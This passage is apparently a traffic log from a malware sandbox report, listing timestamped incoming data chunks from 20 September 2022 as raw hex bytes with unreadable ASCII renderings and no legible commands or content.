e8 30 41 c2 ba ed f7 2f 23 0d 10 66 ec 7f 88 b9 cc d8 83 2c 51 18 91 98 23 9e 8c 79 28 9e 4c 04 97 fd 5c c7 ec 2a 8d 5a 
90 dd 11 49 89 c4 1c 69 d4 f4 0b 5e 4a a3 16 64 b9 54 12 
Data Ascii: 9Btgls*9,%I3#Z>@bjy^Dbj4$"j-!Yy|fK_M)Z6Kd~}Ah`(_L?0AV@Bd~`\/YaA`4$h%^>j/0f0A/#f,Q#y(L\*ZIi^JdT

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1036 IN Data Raw: 68 72 fd 0b 42 93 9b 05 b0 d8 32 0f 59 6c bd 24 42 e0 e6 a9 16 28 f7 92 97 8a 57 91 99 b7 7c 15 bd 64 af c7 
0f 91 ba 3b 2a 2e 27 91 ba 3b fa 7d 74 77 74 2d 86 30 10 da c5 63 7e b4 18 1a 6c bc 5c 43 36 5e 33 ba 37 e4 7c 42 24 
e6 b1 aa 8b f9 ca f7 c7 4b ee ca d4 44 24 e6 61 3d 5e 23 df 43 ab 24 82 b5 d4 c8 03 dd 2a 18 77 31 0f 94 cc 3b 32 fd e9 
33 e8 ca f4 17 e4 68 c5 bc cb fa f3 25 e1 f5 ab b5 6b af df 20 c7 3c 98 df 3a 07 23 dc 85 e3 65 10 89 79 58 3d 78 89 22 3a 
55 16 f4 ca aa 4b a4 a6 7a f9 73 12 a9 a9 51 d1 ac 88 34 8e 59 d9 3c 80 b4 4a a8 00 d5 a2 b6 02 f4 25 a1 00 d5 2a b1 02 
34 c8 ca 4d 4e 24 e6 47 de 3e 20 4f 09 f4 9c 1e b9 f4 9c 41 76 6b aa 89 d4 d4 a1 e7 04 d2 ba a2 9e 53 35 ac e7 0c 32 14 
3c ff fa e9 cb e8 56 01 f4 9c ff fe 32 5a 2a 28 7b 38 a2 
Data Ascii: hrB2Yl$B(W|d;*.';}twt-0c~l\C6^37|B$KD$a=^#C$*w1;23h%k <:#eyX=x":UKzsQ4Y<J%*4MN$G> OAvkS5
2<V2Z*({8

2022-09-20 10:10:08 UTC 1044 IN Data Raw: 5b 2b c4 a6 90 54 5e c5 41 e9 8c af f7 fc 41 65 10 37 05 34 c4 40 5e 4e 3d 12 a0 66 06 16 80 1f 3e 89 96 19 
b1 00 fc e8 a6 86 17 00 a4 f7 d9 b2 3a b3 40 9e 95 23 93 e7 3f cc 98 5e 00 1e 54 3e f0 fb 01 64 e5 cc e4 f9 ef 4f 22 2b c7 
bc fa f1 7f 3e 89 ac 1c 29 3e f5 74 e1 0e 67 e5 2c 4a 60 89 e5 05 e0 e9 2b 2f 27 85 ac 1c 57 f1 d9 dd 65 6b d4 d3 91 14 
54 a7 09 20 2b 47 e6 2f bd ce 59 c6 00 e4 a8 3d 35 90 95 e3 35 f8 cb df 3f 89 a4 fc c1 86 e5 17 3d f6 27 37 2c 2a 7c f0 eb 
df 3f 89 ba 19 61 5b d2 56 0d f5 02 be 66 1c 5b 83 ac 88 10 e4 95 4e d0 42 56 0e 8b b0 be 1f 59 2a 01 e4 61 5b 02 b2 72 
d4 50 d0 97 33 6b 28 80 6c cf 53 12 cd b6 25 15 57 d0 6c cf e2 0a 20 67 ed a9 81 ac fc ce e8 65 21 2b bf db ac df 3c 3c 
1d ad 1c 06 ec 92 f0 51 ff 25 0f db 12 90 95 f7 c3 
Data Ascii: [+T^AAe74@^N=f>:@#?^T>dO"+>)>tg,J`+/'WekT +G/Y=55?='7,*|?a[Vf[NBVY*a[rP3k(lS%Wl ge!+<<Q%

2022-09-20 10:10:08 UTC 1051 IN Data Raw: 6f ef 94 68 8a ee 0f f2 0a ff 92 df 7f f9 24 1a 62 e0 fc 91 12 3e 7f 04 19 8b 0c 27 03 91 94 b7 59 93 9a c8 4d e1 
34 e1 5e 35 9f 26 22 1a 2c d6 76 4b 04 cb 0c 9c 0d 92 a1 a0 71 90 eb be 0e 86 ce 06 2f 89 a0 f1 3f fd 43 0c c5 86 83 7c 
8e 91 df 8a 0d 0f 12 76 d1 1f ff fe 49 e4 a6 b0 df 4d 09 ef 77 6f 95 8a f6 38 54 2a 3a c8 8e 72 a2 96 e8 2c 27 0a 12 c5 41 
7f fb cb 27 91 9e d5 80 d5 d9 12 c3 5b 9c b0 19 9f 8f c4 99 bf 40 86 0b ad bb 1b c8 4d 61 87 9c 12 3d 1f c9 c0 b6 56 8c 
6b b3 4e 35 ec d8 ac c3 4b 86 eb f0 82 c4 5e 54 03 74 61 5b 90 70 e6 4e 09 39 73 b7 5b 55 2a 2d a1 2a 95 41 76 18 6b 
2c d1 65 ac 09 12 8b a5 25 ba 17 cb fb 66 ca 0a 49 bc 68 ea e9 be 9b 07 ac 70 94 b8 9d b2 22 c8 73 8a de 3d a7 e8 cd 
3c 13 7c 9d 23 67 80 be 6a b7 4a 00 fe e1 e7 4f 22 4b 
Data Ascii: oh$b>'YM4^5&",vKq/?C|vIMwo8T*:r,'A'[@Ma=VkN5K^Tta[pN9s[U*-*Avk,e%fIhp"s=<|#gjJO"K

2022-09-20 10:10:08 UTC 1059 IN Data Raw: 46 c6 1b 08 49 f9 fa 66 4c 1c 11 5f 83 48 2d 11 af 1a bc 90 84 d8 d4 d5 ee bc cd 08 a4 00 c9 8e 1c 07 b9 7b 0d 
f4 a8 bb 57 db 65 de 09 a4 95 1a 19 0b 9e 92 b8 bd 20 df 71 7a c9 af 01 91 94 d3 86 ac 71 5c b6 21 f7 08 fe e8 87 8e 21 
47 d2 20 eb 4a 48 88 23 0f 57 c5 5c db 89 ba 18 a8 71 48 73 1b 91 9a 9a 55 2a 41 c8 8c 2a 95 20 c4 ee de a7 2d 83 88 
ca 6f d4 2c b5 04 d0 32 23 d3 1e 0b b1 57 37 6f b0 2c e1 1b ac 7e eb 06 8b b6 be 3b 6f b0 82 ac 4b 3d a1 61 c6 a8 67 05 
a4 a6 8e 5c c5 42 cd 8c 7d f4 ea 51 2d 6c 7c 0a 6a f5 21 4a 46 6d 39 51 38 4f 3f d4 3b d4 5a 45 89 d4 2b 78 4d 95 c4 a3 
25 23 72 9c e5 fd a0 90 25 46 26 30 12 92 c4 6c cf d1 ab 40 ea 55 98 64 aa 57 61 92 51 af e0 ea 90 12 4b 5e 16 ef 16 7a 
54 ce 4c a1 2e 06 02 6f 25 01 34 c4 a8 bc 83 42 4d 0c ec 
Data Ascii: FIfL_H-{We qzq\!!G JH#W\qHsU*A* -o,2#W7o,~;oK=ag\B}Q-l|j!JFm9Q8O?;ZE+xM%#r%F&0l@UdWaQK^z
TL.o%4BM

2022-09-20 10:10:08 UTC 1067 IN Data Raw: 91 c7 4d 47 20 4b a4 23 50 ac 4f 61 42 4a 09 df 54 8f 9b c1 59 29 e1 e0 ac 20 63 7f 95 12 b7 f7 57 37 9c 9d 4b 
a2 7b b7 74 c3 63 c3 6f 14 90 94 0f dc 3b 6b 5e 01 a9 29 38 4d f8 8d ba e1 34 21 06 4a 06 f9 87 1a cb 2b c3 3d 70 6f e0 
9f 76 e4 bd c1 8d 18 70 bf 6a 40 56 be 8f f3 39 52 ef 48 07 ee fb 7d 8e 02 1a 66 1c 46 c0 3b 83 81 5e b2 ed f4 10 22 d2 
38 26 22 0e 3d 19 e6 93 0f 31 6a 65 e5 8b 73 bb 72 16 48 58 d5 dc d4 c8 87 38 91 fa cf e3 98 4e fd 17 64 ac 25 fa 08 03 
59 39 2e 14 b2 bb 79 a1 70 33 58 ce 8f 3d 83 e5 de ef 3a ea 86 5b 62 a9 6e 38 c8 72 c6 1b 59 89 26 c8 2b 8c 67 7e 56 
eb b2 f1 ec 25 f7 f1 d3 2e 5f 1c be 64 2b 57 2e 22 37 85 08 b7 94 d8 36 59 dc 8a a8 b2 0e 47 54 8d 9b 11 55 96 c8 88 aa 
20 0f 93 c5 9d ee 49 91 24 f3 f8 6c 03 b9 29 18 e2 b5 bc 
Data Ascii: MG K#POaBJTY) cW7K{tco;k^)8M4!J+=povpj@V9RH}fF;^"8&"=1jesrHX8Nd%Y9.yp3X=:[bn8rY&+g~V%._d
+W."76YGTU I$l)

2022-09-20 10:10:08 UTC 1075 IN Data Raw: ac 92 d0 fb 11 64 66 29 10 f2 38 9e 71 3c 5d fb 08 07 89 af 5a 4a f8 ab 86 db 8f 7d e8 f0 69 22 c8 58 32 52 42 
a5 c1 40 a6 21 5e c8 cf 0a 1e 10 29 21 0f 88 97 64 39 51 bd 1f 8f cb 89 06 d9 ea 5c 0b a4 77 f0 61 22 bf 94 f0 c1 e4 25 91 
8d 5d af 33 90 1e e2 83 13 4b 36 e5 13 4b 90 19 e9 2d e4 a6 70 94 c9 a6 7c 94 19 0f 8b 38 7a c2 b9 88 63 64 fa e1 0d 96 
a6 e8 b2 11 70 84 cb 4c 7e bc 88 9a 18 70 36 d2 1b 05 c4 ee 0e 46 4e ea 21 0e 47 4e 86 6b f3 95 85 d1 85 d4 14 23 27 
dd 94 23 27 83 44 2a 78 bd ce 40 96 e8 ad a6 cf 70 80 64 90 23 5d fe 85 d4 ab 1b 15 75 f4 ac 80 dc d4 ba 1d 00 26 c4 67 
c5 b5 ef bf 7e e7 63 1f ce 97 11 e4 75 39 19 81 50 33 23 a6 68 4a 5c 9e a2 a3 5f e9 86 48 a4 c9 30 98 5e 30 25 e4 53 14 
e4 b1 d3 1f b5 d3 0f 32 76 4b 5a 13 81 2c 81 74 2b 3f 
Data Ascii: df)8q<]ZJ}i"X2RB@!^)!d9Q\wa"%]3K6K-p|8zcdpL~p6FN!GNk#'#'D*x@pd#]u&g~cu9P3#hJ\_H0^0%S2vKZ,t+?

2022-09-20 10:10:08 UTC 1083 IN Data Raw: 57 48 12 cf 9d 69 f9 84 f4 10 9f 59 6e ba 44 1a 79 dc 8b f8 1b 05 d4 a5 e3 fd 5e 1c 4f 37 90 74 cc bb ec d4 44 
d2 31 91 91 d4 ca a7 32 92 06 09 db 92 95 4f db 96 e2 9e e0 9b 76 06 22 3d 92 8d 24 17 7f d3 bc da 4a 72 11 24 fc 19 ac 
63 db 9f 21 c8 cc b2 29 e4 a6 0e d7 53 22 36 75 7d 8f 6b 0e a2 61 46 ed 13 89 9a 19 e3 9b 4f 17 28 9b 5a 79 77 47 d4 c5 
b8 6a 67 49 64 09 14 8a d4 00 81 2c d1 ea 42 ba 21 34 fc 2b c6 a8 af 1a 91 bb 0b 7b c9 9f cc b0 bd e4 25 b1 ee 66 53 5e 
77 1b fc 2f bd b9 03 d2 bc 0a 13 c7 5d 3a 2e af bb 41 3e 3b 27 03 50 33 23 23 dc 84 34 c0 0b f6 92 d4 61 7b 49 90 19 e1 
26 64 1d ad ae 07 88 dc 14 9c 74 3c 8e cb 4e 3a 91 44 b6 cc 22 44 d6 01 b3 48 36 65 b3 48 90 b1 64 f8 a7 bd 6c 16 09 
b2 1c 17 89 ac 1c 26 8b 5f ac dc 26 8b c8 47 9b e1 43 42 
Data Ascii: WHiYnDy^O7tD12Ov"=$Jr$c!)S"6u}kaFO(ZywGjgId,B!4+{%fS^w/]:.A>;'P3##4a{I&dt<N:D"DH6eHdl&_&GCB

2022-09-20 10:10:08 UTC 1091 IN Data Raw: b2 f1 20 f1 1a 17 6b 48 6a 15 c6 e7 ca a8 03 e2 93 78 bf 83 da 9a 79 91 96 04 38 e3 ce 78 32 a4 29 c1 5d 0e 
7f 24 36 f7 1d 1d 3d b9 51 45 92 c6 c1 ee 95 b7 1d 41 9a 65 1c 59 14 34 74 26 c9 38 22 8c a6 0d 44 18 a5 00 01 57 7c e5 
20 d9 38 5b 52 34 d2 96 00 49 3b 38 be 22 49 03 ee 78 69 63 fa 6c df 5b dc 15 bc 91 24 e3 17 92 6a b2 67 20 a9 aa 85 
2c 63 fa cd 41 ba 8e 1b a9 c1 7e 56 ab 6e a7 06 8b 62 65 3e 21 4d 0b ee 3c e7 05 d2 93 78 70 21 5e 0f dc 91 0b f1 51 1c 
ad b9 e9 5b fb 16 e1 42 eb db 9e 2e b4 f7 c1 15 fa d4 f0 0a fd cd 2c f2 a5 e1 2e 3c 8a 31 d8 fe dd c6 3d d8 be 99 32 bd 69 
68 21 25 4e 95 55 ee 33 92 6c ec a3 02 a8 82 f4 3a 87 97 65 cc a3 fe cf 27 49 36 f6 5d 21 da 48 ae ea ae 70 12 77 85 a6 
79 8b 58 cb e0 a4 81 a4 db be b1 59 ec bb bb bd 59 7c 23 
Data Ascii:  kHjxy8x2)]$6=QEAeY4t&8"DW| 8[R4I;8"Ixicl[$jg ,cA~Vnbe>!M<xp!^Q[B.,.<1=2ih!%NU3l:e'I6]!HpwyXYY|#

2022-09-20 10:10:08 UTC 1098 IN Data Raw: 4a 41 6c 5a 70 ed 95 24 1b 67 9b 79 91 74 e5 e7 b0 e3 bb 69 5a 50 f3 28 92 ab 6a f3 28 92 ab 6a f3 28 d2 b6 
a0 76 5f 49 b2 51 79 aa 45 7a a8 0f 64 70 48 8d b9 f2 ee ce e6 91 42 92 0d 26 1f 49 8d 27 ef ee 7c fa dd 9d 4f de dd eb 
db ef ee f5 cd bb 7b b5 4f 2a 49 55 21 31 40 69 1c d3 f7 aa 0e d1 98 6c 63 dc ed ca 2f fb c9 bc c5 0c e6 6f 1a 16 ec 6e e3 
de 69 a3 7d 52 49 6e d5 de ed d9 0d a2 71 4c 52 f3 ee 62 92 fa b5 60 e7 67 9b b4 24 18 35 80 04 6d 6b 9c b5 ee 43 b2 
46 db 9c 24 0d 0b 9e ba 72 d0 94 a0 ad 21 93 5c 15 62 ef a4 c6 d4 46 d5 5b bc da 87 05 64 01 a3 08 fe f9 93 64 1b eb b9 
5b 73 97 1c 94 c3 99 ad 36 ef 49 29 a8 f1 ee 1a b9 80 1d c5 3b 97 c2 48 be bb cf 77 b4 0b 7c 34 b5 5c 63 1c ed a7 05 a9 
aa 11 c7 84 3c ca 00 c9 38 4f 09 a5 c6 a5 89 7b 44 a9 6a 
Data Ascii: JAlZp$gytiZP(j(j(v_IQyEzdpHB&I'|O{O*IU!1@ilc/oni}RInqLRb`g$5mkCF$r!\bF[dd[s6I);Hw|4\c<8O{Dj

2022-09-20 10:10:08 UTC 1106 IN Data Raw: 9d b9 2d bb cf be 2d bb 2b fa 05 a2 ba d6 73 35 d3 e3 37 ee ed 99 ce 2d 20 5d c7 dc ed 28 09 68 58 d0 4e 16 
ef 8a 7e b1 27 26 a3 7e 9d 67 4e 46 df d7 b7 bf 06 57 4e 14 f7 d5 27 8a a0 69 41 1b d0 83 d4 aa 6b 34 17 41 d0 b0 a0 7d 
8a f6 95 db 99 1b 59 3b 4a 23 67 90 fb 6a d1 10 49 29 68 7e 32 20 db 68 d1 10 49 be 8e ab 6d be 80 7c 1d 7d 47 11 64 
8d fd b4 be fd ca 1d c5 bd fa 91 4a 90 05 fd 48 65 90 1f 06 04 a2 cf a7 64 9d f9 50 af 96 3d 82 24 e3 ab 4f fb 40 b6 d1 a7 
7d 38 af 6a 1b 3d 26 c7 ae 98 1c fb 0f 31 39 76 c5 e4 d8 6b f5 4f d1 ca ed cc cd 6c 9b 1a d6 ee cc b6 19 5e c4 fd c3 92 49 
35 ef ad a4 9a 3f 7c 4c 79 e5 7d 47 11 a4 1f ea ee 3b 8a 20 d9 e8 69 38 49 d6 68 69 38 49 32 fe ce db 5a b7 14 e4 aa 10 
29 c4 9f a2 8a 14 b2 ef 96 49 99 64 1b 38 97 2a 1f 96 
Data Ascii: --+s57- ](hXN~'&~gNFWN'iAk4A}Y;J#gjI)h~2 hIm|}GdJHedP=$O@}8j=&19vkOl^I5?|Ly}G; i8Ihi8I2Z)Id8*

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1114 IN Data Raw: c8 1a a3 76 46 83 dc 21 bf 8f 5b eb 77 41 d6 38 5b bf 0b 9a 12 cc d6 8b 82 ac 31 6b 43 81 24 8d 13 13 5e cd 
8a 40 ba c0 89 03 79 5a e4 00 a9 aa 39 da e8 35 48 1d d9 8d 40 a9 a5 71 ba 93 79 bb e6 63 54 ab 66 4e 2d 6f 1e 70 71 
ab f2 80 4b 14 db c8 12 a4 e6 22 d8 64 d9 c8 f9 e0 db ee d6 fb 80 6c 1c 29 38 d2 86 52 70 44 11 13 c5 d4 c8 89 e2 3d 31 
51 4c 8d 9c 28 c6 ce c4 d9 6c 6c 0f 39 6f 84 5c ac 56 f9 14 44 14 af 6f b3 e1 c3 8b e7 fb 51 aa 08 1b a4 61 c1 5d 4b 93 20 
6b 60 a7 c1 55 d5 4e c3 5b 6c 6b 7d a0 65 c1 55 03 7a 90 6d 8c 6f 2d b7 81 6c 03 07 d3 53 c3 07 d3 a3 18 bd 4f b6 ca db 
80 51 6c 6b e1 20 db 38 db 78 17 b4 2d 68 bd 0f 48 55 ad f1 ad 05 6c 90 34 f0 82 78 32 8a f5 39 b5 6a af f2 75 26 f1 3a f6 
79 65 1e 45 11 6d 6c 6e 5a a8 55 bb 36 2d e2 37 5e 59 
Data Ascii: vF![wA8[1kC$^@yZ95H@qycTfN-opqK"dl)8RpD=1QL(ll9o\VDoQa]K k`UN[lk}eUzmo-lSOQlk 8x-hHUl4x2
9ju&:yeEmlnZU6-7^Y

2022-09-20 10:10:08 UTC 1122 IN Data Raw: b4 25 c0 8e 89 34 a6 3d 84 de e2 46 44 6b 6b 6c 45 b4 8e e2 ae d9 04 89 36 d6 73 d7 67 9b 34 24 60 e6 93 1f 
3e 26 de ab 38 e4 57 77 97 34 25 60 e8 f1 bf 7f 92 68 23 ee cd 2a 8d c3 a3 8c b7 38 d3 41 40 24 0d 2c c4 d8 38 68 4b 10 
59 e4 b3 2a 87 74 19 91 85 b9 a6 00 24 da d8 8c a5 a7 aa b6 63 e9 8d eb 61 94 02 69 3c 8e 52 80 e2 9d 9f 22 12 6c bc 
9f 11 4c 78 a9 41 b2 e0 c9 c8 46 a2 4d c1 81 63 05 d6 38 74 ac 00 45 1c c1 f8 d9 02 ee b8 bf 9f d9 6b d5 70 90 34 24 c0 
a7 88 ad 22 d1 46 e4 8c cb 67 97 34 2d b8 b2 4f 24 2d 0a 76 7b a3 48 aa 6a c3 69 ea 97 ff fb 49 a2 f1 c5 20 94 d2 58 0e 
42 19 45 8c a9 f9 0e 92 58 55 64 de 3d 4a c3 de 9f 03 e9 34 f2 11 8d 74 1a c3 55 2d e4 70 b3 60 79 91 3c fc 22 aa 0b 27 
a5 e0 f4 de 36 89 3d dc c2 eb 91 36 f0 7a a4 a0 c6 0c a4 2d 
Data Ascii: %4=FDkklE6sg4$`>&8Ww4%`h#*8A@$,8hKY*t$cai<R"lLxAFMc8tEkp4$"Fg4-O$-v{HjiI XBEXUd=J4tU-p`y
<"'6=6z-

2022-09-20 10:10:08 UTC 1130 IN Data Raw: 08 3e 69 49 63 de 39 69 10 d1 c6 fb e9 ca 13 0a 22 b4 ea 9d 9e 1d 79 92 55 84 eb 78 e7 09 2b 73 67 8a a0 11 
a7 f6 eb fd 20 0d 09 70 12 09 5b f1 a2 45 c1 5d 11 e5 48 7c 4a de 0e 0a bb af f0 7b 15 6d 0a b8 ff f1 17 6a 64 1c 96 3b 3a 
83 dc e1 25 2d 55 75 c2 9f 81 9f 09 92 35 70 ca d4 36 4e 9d 32 bd d1 4b 78 0d 40 04 8d 58 af ce 0d 37 11 34 76 ec 27 e7 
4f 4b c2 2d 89 b5 cb dc a8 0a d2 b2 7a 14 6b 65 1b a4 eb d8 f7 59 71 8a 40 9c f6 bd 45 9e 57 c3 14 59 44 1b bb 65 4b 13 
59 50 47 75 45 5b 82 f2 2f 11 59 a3 16 97 45 d2 98 95 f1 56 24 8d 59 61 44 45 d6 80 57 d8 6f ff f3 49 1a 12 ac 9c 2e 89 
96 04 37 3c 1a 7f fd 24 a1 aa 67 b4 a3 56 a2 45 c1 fc e6 be 81 08 ad 8a 7d a9 74 bf 10 51 00 57 35 bf 1f 20 3e 70 11 1b 
a8 46 af 24 6a d0 6d d2 1a 74 9b fc af 88 d0 fb de c1 
Data Ascii: >iIc9i"yUx+sg p[E]H|J{mjd;:%-Uu5p6N2Kx@X74v'OK-zkeYq@EWYDeKYPGuE[/YEV$YaDEWoI.7<$gVE}tQW
5 >pF$jmt

2022-09-20 10:10:08 UTC 1137 IN Data Raw: 76 d7 b1 ff ff 43 6e 62 0d 60 b6 1c e1 c0 12 05 82 e4 66 72 00 31 48 86 03 82 80 cc d0 fc 46 94 b1 90 6a 83 
77 1c 21 71 2c 98 d0 72 bd 22 6a 2a 38 56 ac 44 4b ad da 35 9f e2 85 c4 c1 07 50 b7 ca 0f a0 05 49 a2 72 b1 44 92 28 
75 70 57 68 bc d4 2a 20 71 f4 63 66 25 34 54 70 9d fd 83 c8 1c d7 59 32 0a 54 4b 92 f1 30 cd 16 2a 2e 88 33 dc bf 3f bd 
12 a1 1f 91 ff ef ec e7 40 dc cf 2b 7f 2a a4 e0 30 2a 2c a8 88 d7 f7 f5 c7 2b 91 aa 6a 08 c6 6c 8e c6 60 cc 41 2e 44 29 c0 
bb b3 d0 60 c1 c6 73 0d 54 61 44 ec 47 ad 34 f9 ff ce 82 2a 93 ff 20 2b cc 61 60 bf 2b b4 54 c0 d4 ab 7f be 8c 9a 38 1a cc 
16 22 f9 88 91 38 5a c4 49 4c 8e 40 45 05 30 11 b4 8c 26 13 c1 20 61 59 f3 f1 9f af 44 e2 e8 8c 55 fc fb 2b 11 87 a4 0e 3c 
28 68 ac 80 54 d5 64 68 01 71 cc ad cf a0 56 06 2a 
Data Ascii: vCnb`fr1HFjw!q,r"j*8VDK5PIrD(upWh* qcf%4TpY2TK0*.3?@+*0*,+jl`A.D)`sTaDG4* +a`+T8"8ZIL@E0& 
aYDU+<(hTdhqV*

2022-09-20 10:10:08 UTC 1145 IN Data Raw: 8b 23 6d 54 c6 c5 b9 c9 85 b4 76 da cf 81 24 7c c1 7b 40 f7 0f 20 09 87 e6 37 9b bb ed 24 b0 df f7 c5 29 82 1e 
42 06 d1 62 c1 85 d3 2b 39 e0 89 cc d9 be ef 2d b4 a7 41 2c 51 61 c1 53 5f 42 d4 54 b0 76 ae 57 44 12 8e 33 4e 56 d5 
94 39 ab 87 e5 30 1e c3 fe 78 19 0d 09 1f 15 e9 4a be bd 12 49 f8 84 b3 03 b7 09 22 c9 60 d0 75 77 d0 41 d7 6f 72 e3 15 
e0 a3 84 ef 9e 55 6d d8 78 fd f6 e7 2b 91 39 f0 0a 90 1c 7e 05 88 d7 cb d0 72 d2 8e 8c 88 55 dd fb c2 4c 45 3c 11 87 e4 
2a 70 84 56 07 81 86 0a 70 a9 e6 dc 25 a2 f0 c8 da 16 46 9e bf be 8c 96 84 33 d9 9e 39 9c 6c ef 26 c3 59 d3 27 32 22 09 
1f 38 c3 99 63 f8 0c 17 06 c2 e9 59 2c a4 aa c6 3a 86 bd 44 e6 40 14 f3 8f e6 58 d9 73 5e e2 cc 91 97 b8 9b c4 5d cd 32 
f2 ae 16 e4 39 85 13 2d 17 ac d4 d6 12 b9 aa 79 cc 16 88 
Data Ascii: #mTv$|{@ 7$)Bb+9-A,QaS_BTvWD3NV90xJI"`uwAorUmx+9~rULE<*pVp%F39l&Y'2"8cY,:D@Xs^]29-y

2022-09-20 10:10:08 UTC 1153 IN Data Raw: 13 be 80 c8 ad 9a c7 d3 9b 48 55 cd 7e 3c bd 81 34 77 af 47 74 7c 21 55 c5 48 6c 9e a2 19 89 ad 29 12 9b ab 
ca 48 6c 71 80 0b 45 bc 39 b6 2d 84 6e 72 46 cf a9 d9 26 52 3f 90 06 5c 07 61 22 73 44 a6 c1 c3 b1 72 8a 6e 18 e9 1c 8e 
1c 92 8d d4 2e c9 a1 d4 2e 23 1c ed af 74 44 20 62 3f ca 35 32 f1 1a 91 7e a8 d0 c9 5f 4a 0f 2e c4 21 29 b5 9c e3 07 11 
9b 7b 9f 17 8f 37 39 91 84 37 24 6a e1 f9 8a 48 c2 a9 e5 d4 20 96 d4 72 b6 f0 5c 4d a7 3f 22 ca a8 6f e4 18 11 07 10 39 
ea d5 8e f5 0e 91 38 ae 3e d2 7b 99 68 a9 60 1c e7 45 22 57 35 8f 02 9b 68 a8 60 1d 03 33 20 8d 55 65 26 33 f5 bc 3a 93 
19 c8 99 76 fa 44 6a 55 41 84 26 1e 52 89 c4 51 c2 53 27 ab 0a a4 56 15 2c 00 ee 47 c9 05 e0 fe ae df 19 c8 8f 48 1c d4 
1a b8 1f a9 35 b8 c9 c7 89 0c 48 ab cf 4d 9e 30 a2 44 ae 
Data Ascii: HU~<4wGt|!UHl)HlqE9-nrF&R?\a"sDrn..#tD b?52~_J.!){797$jH r\M?"o98>{h`E"W5h`3 Ue&3:vDjUA&
RQS'V,GH5HM0D

2022-09-20 10:10:08 UTC 1161 IN Data Raw: 49 44 6e 15 bc e8 3e 9a 43 5e 74 41 ae 0c 0b 2e e4 aa d6 79 5e 26 72 55 0f cd 04 91 07 f1 44 ff 06 d2 e7 7c 
93 c7 71 4a c8 fd 38 29 c8 85 2c 7c f7 f1 e8 c7 96 21 e9 50 5e 32 7e 51 23 f3 92 dd e4 f5 ee 8f 1f ea 52 6e f2 20 71 c1 32 
c7 e5 0b 56 90 b5 9f e6 5e 57 f5 0f 75 5d 47 55 4c a4 e6 5e 25 13 f4 0a 2d 17 ac dc 3f 88 cc 51 8f 72 99 c8 ad 3a 81 7f 
84 5c 55 7d 7c 9c 97 23 5a 07 89 88 d6 c9 a1 88 d6 20 f7 e3 f7 b8 7c 57 43 e2 8a c7 ef 71 f9 ae 16 64 cb d7 70 22 57 35 
ca e3 fb 70 e0 6a 90 2d 1f f5 80 96 ab 1a e7 8d 9e 28 ab da fb 7a 70 ec fc 3d f6 7a 4c 51 47 9b be 49 06 95 fe fc f5 65 e4 
9e 17 bc b1 78 74 8b df 58 f0 0e b7 cf 58 15 25 5f 0f b2 1c 1b 7a 22 cb a8 d7 a3 b9 0e 66 03 32 2e 8a 54 47 13 a9 b9 b4 
e5 fc ae e9 93 b6 9c 41 c6 7e 8e c0 0d 42 c9 71 8c 
Data Ascii: IDn>C^tA.y^&rUD|qJ8),|!P^2~Q#Rn q2V^Wu]GUL^%-?Qr:\U}|#Z |WCqdp"W5pj-(zp=zLQGIextXX%_z"f2
.TGA~Bq

2022-09-20 10:10:08 UTC 1169 IN Data Raw: 8a 0b 6a 99 87 c3 ef 38 4d ce 8b 87 c3 87 6d 39 2f d2 09 b3 1d e7 c5 26 e7 45 73 a4 f3 62 93 c7 e1 0f 35 37 
3d 0e e1 c8 be b7 8f 38 61 e2 f9 b6 0c 28 6b b2 2a 2b 6b 6e f2 64 5d 10 5a 2e 08 9d 3e 55 7a 44 cd 05 b1 58 ea 73 0e e4 
5f 90 b6 e7 fa 9c 67 da 9e 07 d9 9c dc 4d 48 fd e8 48 bd ea 49 dd 95 7a f5 26 e7 73 af 05 52 ab 26 f2 f6 79 ee 4e e5 ed 
bb 49 c6 1d d4 12 3e 1d 77 30 9e b5 de fd 7c 9c d3 11 fe 82 84 5a e4 a3 7a 9e 6a 91 7b d2 23 ac 92 aa 02 62 3f d6 f5 30 
1d 22 5a 2a d8 99 31 04 48 2a ef 16 86 6b e7 50 04 c4 56 c5 73 d6 b9 ca 00 49 78 c3 0b 16 9f 6b 88 24 bc 23 03 b1 7e 
28 20 09 67 e8 58 be 41 02 e9 f7 58 03 a9 89 75 83 04 92 f0 39 90 43 81 b3 04 48 c2 17 be 73 5d 91 81 24 7c 23 16 92 
85 6f c5 42 0a 12 b7 22 fd b4 40 92 b1 e1 40 ec 0e 6e 3b 10 07 
Data Ascii: j8Mm9/&Esb57=8a(k*+knd]Z.>UzDXs_gMHHIz&sR&yNI>w0|Zzj{#b?0"Z*1H*kPVsIxk$#~( gXAXu9CHs]$|#
oB"@@n;

2022-09-20 10:10:08 UTC 1176 IN Data Raw: fc c2 88 c2 ef 86 c4 a1 c8 1c 95 c1 4d 83 64 34 76 c9 68 8a c6 3e 10 fe 78 ca 45 c9 68 a9 00 cb ab 39 16 97 
d7 88 a2 52 60 08 24 0e 20 17 20 34 4d dc 52 85 34 56 11 c7 f5 4a e1 40 14 de 7b de 07 89 3c 88 a1 d6 18 47 46 20 c9 
d8 b0 10 fa f7 b7 97 91 06 f1 de 61 ea 3a 1c 9b 16 bf 20 eb 3e bf 60 20 b7 8a 51 6e 92 83 51 6e 40 d2 8f fe f7 97 51 33 07 
92 9c c6 6c 37 e2 e8 ce 8a 17 5e 55 05 44 e1 93 49 80 25 7c 2a 09 f0 88 18 fd cb 36 db 46 1c f6 fb 8c 80 d4 2e e4 00 62 
55 91 02 ee fc b4 40 45 05 3b d4 9f 1f fe 7c 25 62 55 7b e1 45 51 1c 40 ec e0 fd c3 e0 45 91 32 80 c0 d1 df 3d 93 3e 19 
35 16 6c a4 5e 25 07 11 84 f7 ab 21 fb a9 38 80 9a 0a f0 ec 24 0e a0 c1 82 b1 1c b4 ca 48 05 13 49 4e cd 31 99 e4 14 24 
74 19 e6 98 d4 65 90 8c 0e f2 87 22 52 55 bc 60 99 43 17 
Data Ascii: Md4vh>xEh9R`$  4MR4VJ@{<GF a: >` QnQn@Q3l7^UDI%|*6F.bU@E;|%bU{EQ@E2=>5l^%!8$HI
N1$te"RU`C

Timestamp
kBytes
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2022-09-20 10:10:08 UTC 1184 IN Data Raw: 20 72 8b 7a 0e a4 56 85 15 7b 1e 0d 02 b9 55 ed 8d 09 a7 0e 06 52 55 ad 3d ae fa 40 6a 6e 47 3e 16 ed 38 
40 68 6e 5d d4 7e 50 78 5d a9 fd 88 a3 eb cc 27 08 22 70 44 f6 20 18 c4 62 96 10 a1 b9 f7 d9 0c ea 68 76 90 08 c2 ef 69 
